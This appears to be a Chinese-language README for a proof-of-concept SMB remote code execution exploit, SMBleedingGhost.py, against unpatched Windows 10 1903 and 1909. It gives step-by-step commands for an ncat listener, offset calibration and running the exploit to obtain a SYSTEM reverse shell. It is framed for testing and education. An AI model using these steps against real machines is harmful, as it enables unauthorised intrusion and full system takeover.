确保已安装 Python 和 ncat。
在目标计算机上运行 calc_target_offsets.bat,然后根据脚本输出调整 SMBleedingGhost.py 文件顶部的偏移量(另请参阅下面的说明)。
使用以下命令行参数运行 ncat:
ncat -lvp <port>
其中 <port> 是 ncat 将要监听的端口号。
使用以下命令行参数运行 SMBleedingGhost.py:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
其中 <target_ip> 是目标易受攻击计算机的 IP 地址。<reverse_shell_ip> 和 <reverse_shell_port> 是 ncat 正在监听的 IP 地址和端口号。
如果一切顺利,ncat 将显示一个 shell,提供对目标计算机的系统访问权限。
注意: 您可能会想,为什么有必要在目标计算机上运行 calc_target_offsets.bat 脚本,这是否会让远程代码执行的“远程”特性失去意义。这些偏移量并非随机,在同一 Windows 版本的所有 Windows 实例上都是相同的。人们可以通过检测目标 Windows 版本并自动调整偏移量,或者完全不依赖它们,来使攻击更具通用性,但这只是一个 POC,我们选择了更简单的方式。我们也认为 POC 不具有通用性是一件好事,因为它除了测试和教育之外,并不方便用于其他用途。

Windows 10 版本 1903 和 1909 受影响。未打补丁的 Windows 10 1903 版本因 Windows 中的空指针解引用错误(在 KB4512941 中修复)而不受支持。
由于漏洞利用的性质,该 POC 最适合在具有单个逻辑处理器的计算机(或虚拟机)上运行的目标。在 VirtualBox 中运行具有多个逻辑处理器的目标也应受支持,但在这种情况下 POC 的可靠性较低。其他目标可能不受支持。有关详细信息,请参阅我们下面的技术文章。